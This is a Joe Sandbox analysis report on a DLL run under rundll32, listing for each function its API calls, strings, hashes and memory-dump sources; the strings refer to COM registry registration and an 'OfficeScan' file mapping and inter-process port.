Instruction ID: fdeabef4a8a2aaa41da3dbf865f29282371d157f4ae765bdeabfc42282697580
Opcode Fuzzy Hash: fdaf272eb1844347be1a48321dfbfe9aa180a2ef53fcf2148db801cde92ebed4
Instruction Fuzzy Hash: F8F068B17192598AEBD68F28A84276A77D0E35C3C0F51C01AE58983B04D63C82558F54

Function 0000000180005BC0 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 288
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoTaskMemAlloc.OLE32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005C60
wcsstr.LIBVCRUNTIME ref: 0000000180005CCD
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005CDF
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005CEB
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005CF7
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005D03
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005D61
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005DDD
CoTaskMemFree.OLE32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005E12

Part of subcall function 00000001800056C0: CharNextW.USER32 ref: 00000001800056D3

lstrcmpiW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005E9F
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005F16
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000001800067C4), ref: 0000000180005F32

Strings

HKCU{Software{Classes, xrefs: 0000000180005D15
REGISTRY, xrefs: 0000000180005BCA
}}, xrefs: 0000000180005DB3
HKCR, xrefs: 0000000180005CC3

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CharNext$Task$AllocFreelstrcmpiwcsstr
String ID: }}$HKCR$HKCU{Software{Classes$REGISTRY
API String ID: 2678557286-2791478717
Opcode ID: d6952ec5bd2a17902043c70f842be37df4190b69f8620cff9adf972c45d68580
Instruction ID: bbdfaccdea3bba81881f4aa5ee89a92688eb783e9208bb5ac5d175e121a00dd0
Opcode Fuzzy Hash: d6952ec5bd2a17902043c70f842be37df4190b69f8620cff9adf972c45d68580
Instruction Fuzzy Hash: CCB19232205B4885EBA6DB21E4543AA33A0F74CBD6F509525FADE477D4EF78C7488740

Function 000000018000C110 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 231
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018000C182
GetFileSizeEx.KERNEL32 ref: 000000018000C1A0
GetCurrentProcessId.KERNEL32 ref: 000000018000C1B7
GetCurrentThreadId.KERNEL32 ref: 000000018000C1C3
CreateFileMappingW.KERNEL32 ref: 000000018000C27D

Strings

OfficeScan-%u-%u, xrefs: 000000018000C1E2

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$CreateCurrent$MappingProcessSizeThread
String ID: OfficeScan-%u-%u
API String ID: 1334661976-1227074125
Opcode ID: c944cfb7fab92ac0311fe24493515b38dafa1cb6b3d5034ff05c7775568ff91c
Instruction ID: f95e6d22b5e4b53b0f1e4e57d2c4d13b4ddeeb21717f079512e00d2e30ce1131
Opcode Fuzzy Hash: c944cfb7fab92ac0311fe24493515b38dafa1cb6b3d5034ff05c7775568ff91c
Instruction Fuzzy Hash: 4A91BB72B10B4486FB52DBA9E8447ED3361BB897E4F409315AE6953AD9EF38C24DC300

Function 000000018000CA00 Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

objectName, xrefs: 000000018000CC7D
scanType, xrefs: 000000018000CB09
extraInfo, xrefs: 000000018000CCC9
size, xrefs: 000000018000CB4F
\OfficeScanLPC, xrefs: 000000018000CD79
mapName, xrefs: 000000018000CC31
sourceProcess, xrefs: 000000018000CB98
mappingHandle, xrefs: 000000018000CBE2
version, xrefs: 000000018000CA7A
objectType, xrefs: 000000018000CAC0

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID: \OfficeScanLPC$extraInfo$mapName$mappingHandle$objectName$objectType$scanType$size$sourceProcess$version
API String ID: 0-295255216
Opcode ID: d79e9de4eb6fea0678a29b6ca6e59e0546cf9f04dbcf4b616b7e8ba94308a403
Instruction ID: 0d4fa4b774054f253373325e50542481224c0e6a607b19d5a8355063636d8abb
Opcode Fuzzy Hash: d79e9de4eb6fea0678a29b6ca6e59e0546cf9f04dbcf4b616b7e8ba94308a403
Instruction Fuzzy Hash: 44129A32705B888AEB42CB74E4803DC37B6A7497D8F548116EE8D27B9ADF34C659C780

Function 0000000180001E60 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000180002900: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180002A64
Part of subcall function 0000000180002900: _CxxThrowException.LIBVCRUNTIME ref: 0000000180002AB6

Part of subcall function 0000000180004400: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800044D3

Part of subcall function 0000000180001650: RtlInitUnicodeString.NTDLL ref: 00000001800016E6
Part of subcall function 0000000180001650: NtClose.NTDLL ref: 000000018000175A
Part of subcall function 0000000180001650: NtClose.NTDLL ref: 0000000180001769
Part of subcall function 0000000180001650: RtlNtStatusToDosError.NTDLL ref: 00000001800017A6
Part of subcall function 0000000180001650: SetLastError.KERNEL32 ref: 00000001800017AE
Part of subcall function 0000000180001650: LocalFree.KERNEL32 ref: 00000001800017C6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800022C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800022CD

Strings

objectType, xrefs: 0000000180001F07
\OfficeScanLPC, xrefs: 0000000180002177
objectName, xrefs: 00000001800020C7
sourceProcess, xrefs: 0000000180001FE2
scanType, xrefs: 0000000180001F53
size, xrefs: 0000000180001F99
version, xrefs: 0000000180001EBD
mapName, xrefs: 000000018000207B
mappingHandle, xrefs: 000000018000202C

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseError$ExceptionFreeInitLastLocalStatusStringThrowUnicode
String ID: \OfficeScanLPC$mapName$mappingHandle$objectName$objectType$scanType$size$sourceProcess$version
API String ID: 3005093427-2404656728
Opcode ID: 28c97f36d74b1a47469f08ade993c45906df21fe725b4018bed03fb5b85ac439
Instruction ID: 0be3e0bb8fe5a8c08eeb416419ac2ac58a0f85e131ad06a8c39d6188d6196533
Opcode Fuzzy Hash: 28c97f36d74b1a47469f08ade993c45906df21fe725b4018bed03fb5b85ac439
Instruction Fuzzy Hash: 65029D33701B8889EB42CFB5E4903DC37B6A759798F458116EF896BB99DE38C619C340

Function 0000000180017F94 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180018102

Strings

nan(snan), xrefs: 0000000180018035
inf, xrefs: 000000018001801B
NAN, xrefs: 0000000180017FF2
NAN(SNAN), xrefs: 000000018001802A
nan(ind), xrefs: 000000018001805A
nan, xrefs: 0000000180017FF9
INF, xrefs: 0000000180018008
NAN(IND), xrefs: 0000000180018040

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: c9ef68fe15a0685817e053870e5daca4dfe2efa88dc6a2da75efcd8cea66df82
Instruction ID: 72066f0b29f8277b2a9d0f30e9ba564a046d601e49a7b5146efbfedbbbc13b8a
Opcode Fuzzy Hash: c9ef68fe15a0685817e053870e5daca4dfe2efa88dc6a2da75efcd8cea66df82
Instruction Fuzzy Hash: 2E417C36701F48C9EB82CF65E8507CD33A5FB183C8F458526EA5817B99EE79C629D380

Function 00000001800225B0 Relevance: 15.1, APIs: 10, Instructions: 134COMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32 ref: 0000000180022656
CloseHandle.KERNEL32 ref: 000000018002266E
ResetEvent.KERNEL32 ref: 0000000180022681
CreateEventA.KERNEL32 ref: 00000001800226D5
CloseHandle.KERNEL32 ref: 00000001800226ED
SetEvent.KERNEL32 ref: 0000000180022707
CloseHandle.KERNEL32 ref: 000000018002271F
CreateEventA.KERNEL32 ref: 000000018002278D
CloseHandle.KERNEL32 ref: 00000001800227A5
WaitForSingleObjectEx.KERNEL32 ref: 00000001800227C2

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Event$CloseHandle$Create$ObjectOpenResetSingleWait
String ID:
API String ID: 3951656645-0
Opcode ID: af9c93ba574bc1ec99061f54b08a1be15c7d393e5603cbaa728536fe020de9dc
Instruction ID: a4ca4c93f823217d94e31494ce8624a3760039f8ad707e5135abf709fc427eeb
Opcode Fuzzy Hash: af9c93ba574bc1ec99061f54b08a1be15c7d393e5603cbaa728536fe020de9dc
Instruction Fuzzy Hash: 9251963220868496EB93CBA0E55439EB7A1F78D7F4F548311FAB947AD8DF79C5488B00

Function 0000000180005590 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000001800055C2
GetProcAddress.KERNEL32 ref: 00000001800055D7
GetModuleHandleW.KERNEL32 ref: 0000000180005655
GetProcAddress.KERNEL32 ref: 000000018000566A

Strings

RegDeleteKeyTransactedW, xrefs: 00000001800055CD
RegDeleteKeyExW, xrefs: 0000000180005660
Advapi32.dll, xrefs: 00000001800055BB, 000000018000564E

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 1646373207-1053001802
Opcode ID: 47b834d62431e17e20a977250de26ae495141b3d13ed43af52be611b2e9d5c14
Instruction ID: 963a9f0c5cad83c64c799a194dce8767f8060a1849f79d87e2b9da9312d231c1
Opcode Fuzzy Hash: 47b834d62431e17e20a977250de26ae495141b3d13ed43af52be611b2e9d5c14
Instruction Fuzzy Hash: 3C316C36615A4881EB93CB05E8543DA77A0E74DBD5F98C421EF8C077A4DF3AC699C704

Function 0000000180021160 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000000180021231
__std_exception_destroy.LIBVCRUNTIME ref: 0000000180021398
__std_exception_copy.LIBVCRUNTIME ref: 0000000180021485

Strings

bad allocation, xrefs: 00000001800211B1
C:\vcpkg\installed\x64-windows-static\include\boost/exception/detail/exception_ptr.hpp, xrefs: 0000000180021312
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void), xrefs: 0000000180021307

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: __std_exception_copy$__std_exception_destroy
String ID: C:\vcpkg\installed\x64-windows-static\include\boost/exception/detail/exception_ptr.hpp$bad allocation$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void)
API String ID: 3351419955-2811268555
Opcode ID: 38fb148bf62251cd46b3e688b822faa1bb8ec711d66c6ffaa433cc5f8242a4f5
Instruction ID: 89612ad2f0a4dbe3d37bcdf88216a6aca8c5db91f2faee7b5b62cc2b8fe9d8d9
Opcode Fuzzy Hash: 38fb148bf62251cd46b3e688b822faa1bb8ec711d66c6ffaa433cc5f8242a4f5
Instruction Fuzzy Hash: FBD12632701B488AEB92CF65E8803DD73B5F749B99F158126EA4D53B68EF38C658C740

Function 00000001800215C0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000000180021691
__std_exception_destroy.LIBVCRUNTIME ref: 00000001800217F8
__std_exception_copy.LIBVCRUNTIME ref: 00000001800218E5

Strings

class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 0000000180021767
bad exception, xrefs: 0000000180021611
C:\vcpkg\installed\x64-windows-static\include\boost/exception/detail/exception_ptr.hpp, xrefs: 0000000180021772

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: __std_exception_copy$__std_exception_destroy
String ID: C:\vcpkg\installed\x64-windows-static\include\boost/exception/detail/exception_ptr.hpp$bad exception$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 3351419955-1136627154
Opcode ID: 29ae3109d19782a05870721eee5e20d4c2552882acae7008d5f6f4f657ea7566
Instruction ID: 5d69a4a317d418ad0cd9793c46078c486c87dd547ad8dbe9c107f65695df127c
Opcode Fuzzy Hash: 29ae3109d19782a05870721eee5e20d4c2552882acae7008d5f6f4f657ea7566
Instruction Fuzzy Hash: 0DD13532601B488AEB92CF65E8903DD73B4F789B99F158126EE4D43768EF38C658C740

Function 000000018000A640 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 233COMMON

Download Yara Rule

Strings

Module, xrefs: 000000018000A643
[json.exception., xrefs: 000000018000A72B

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID: Module$[json.exception.
API String ID: 0-4049947260
Opcode ID: 36d6bd7ae6ad30d832d8142fd754482a29e78ae3e058fae6e904548c9c85cd86
Instruction ID: fe7089d107aa8f68835dacd8c69746321219263d80d134f090ae36b3a29a05ef
Opcode Fuzzy Hash: 36d6bd7ae6ad30d832d8142fd754482a29e78ae3e058fae6e904548c9c85cd86
Instruction Fuzzy Hash: 73A18072B14B888AFB46CB79D4153DC3322E7997D8F409611EA5C27B9ADF74C289C380

Function 00000001800076B0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00000001800077C6
GetModuleHandleW.KERNEL32 ref: 000000018000787F
_invalid_parameter_noinfo.LIBCMT ref: 00000001800079BD

Part of subcall function 000000018000D740: __report_securityfailure.LIBCMT ref: 000000018000D749

Strings

Module, xrefs: 0000000180007929
REGISTRY, xrefs: 0000000180007A11
Module_Raw, xrefs: 000000018000795B

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Module$FileHandleName__report_securityfailure_invalid_parameter_noinfo
String ID: Module$Module_Raw$REGISTRY
API String ID: 853233465-549000027
Opcode ID: a14a019abaa2f50d255da567a2426ae732f2bbcede54e071cb80226dfd2780e6
Instruction ID: 731c98ac08b5e8395c75feb44ddf7eed7338f20cafd795188727a8ce6c68b874
Opcode Fuzzy Hash: a14a019abaa2f50d255da567a2426ae732f2bbcede54e071cb80226dfd2780e6
Instruction Fuzzy Hash: 9891BE32715B8885EB96DB20E4803EA73A0FB987D0F849511BA8E476A6DF3CC749C741

Function 00000001800058E0 Relevance: 10.6, APIs: 7, Instructions: 131COMMON

Download Yara Rule

APIs

CharNextW.USER32 ref: 0000000180005914
CharNextW.USER32 ref: 000000018000594C
CharNextW.USER32 ref: 000000018000596E
CharNextW.USER32 ref: 0000000180005986
CharNextW.USER32 ref: 0000000180005995
CharNextW.USER32 ref: 0000000180005A05
CharNextW.USER32 ref: 0000000180005A2F

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 8a0385260425eac13c0282f20728e3bbfc1285cc9f071ecdbaf24b125922a9d1
Instruction ID: c5565e2f16380d72d7548de1307714f0aeebb69643ec4dea90e42c6edbedab58
Opcode Fuzzy Hash: 8a0385260425eac13c0282f20728e3bbfc1285cc9f071ecdbaf24b125922a9d1
Instruction Fuzzy Hash: 6C51AD32311A9985EBA2CF55E5443BA73A1F35DBC6F80C421EBC947794EE38CA99C305

Function 0000000180005AC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,00000000,00000000,?,?,00000000,?,0000000180006033), ref: 0000000180005B04
GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,?,?,00000000,?,0000000180006033), ref: 0000000180005B1E
RegOpenKeyExW.ADVAPI32(?,?,?,?,00000000,00000000,?,?,00000000,?,0000000180006033), ref: 0000000180005B73
RegCloseKey.ADVAPI32(?,?,?,?,00000000,00000000,?,?,00000000,?,0000000180006033), ref: 0000000180005B85

Strings

RegOpenKeyTransactedW, xrefs: 0000000180005B14
Advapi32.dll, xrefs: 0000000180005AFD

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 922714fbc4fef7bdb830a90e38b00d6c7a05fef562a286103f241e5dee24232f
Instruction ID: 61b866c1fd90337073b630c2583ef30057e813e73abd5604f95426379a943905
Opcode Fuzzy Hash: 922714fbc4fef7bdb830a90e38b00d6c7a05fef562a286103f241e5dee24232f
Instruction Fuzzy Hash: D821A232306B4C86EAA7CF16E8907AA73A4F74DBD1F948025EE8D47750EF38D6588704

Function 0000000180020A3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000000180020A6D
GetLastError.KERNEL32 ref: 0000000180020A79
CloseHandle.KERNEL32 ref: 0000000180020A91
CreateFileW.KERNEL32 ref: 0000000180020ABC
WriteConsoleW.KERNEL32 ref: 0000000180020ADB

Strings

CONOUT$, xrefs: 0000000180020A9D

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 9179611ce3d484bf7bb4d4f21fcbf0be3f337a48b181afc3d324849406284af3
Instruction ID: db18f07911addb29b59b596a7c76d3ab734cd9017018912672b507ce7878bdb4
Opcode Fuzzy Hash: 9179611ce3d484bf7bb4d4f21fcbf0be3f337a48b181afc3d324849406284af3
Instruction Fuzzy Hash: 0E11B232310B4486E7938B52E85436A77A0F78CFE5F548224FE5987794DF38C6588744

Function 0000000180022D60 Relevance: 10.1, APIs: 8, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0000000180022E88
GetProcessHeap.KERNEL32 ref: 0000000180022F03
HeapFree.KERNEL32 ref: 0000000180022F11
GetProcessHeap.KERNEL32 ref: 0000000180022F17
HeapFree.KERNEL32 ref: 0000000180022F25
TlsSetValue.KERNEL32 ref: 0000000180022FAE
GetProcessHeap.KERNEL32 ref: 0000000180022FD3
HeapFree.KERNEL32 ref: 0000000180022FE1

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Heap$FreeProcess$Value
String ID:
API String ID: 3709577838-0
Opcode ID: c2b7db977e228d9729f835ee7e92fe8bed6556478dabf7a88b521e16d3e3cd68
Instruction ID: 5750590dc8374900778181883ec944de8777c21cb0820c29f01a0902723758eb
Opcode Fuzzy Hash: c2b7db977e228d9729f835ee7e92fe8bed6556478dabf7a88b521e16d3e3cd68
Instruction Fuzzy Hash: 01416535202B4892EE979B65D5503A9A371FB8DFE1F59C225EF6E077A4DF38C5098300

Function 0000000180014DC4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000000180014DE0
GetProcAddress.KERNEL32 ref: 0000000180014DF6
FreeLibrary.KERNEL32 ref: 0000000180014E13

Strings

CorExitProcess, xrefs: 0000000180014DEF
mscoree.dll, xrefs: 0000000180014DD7

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
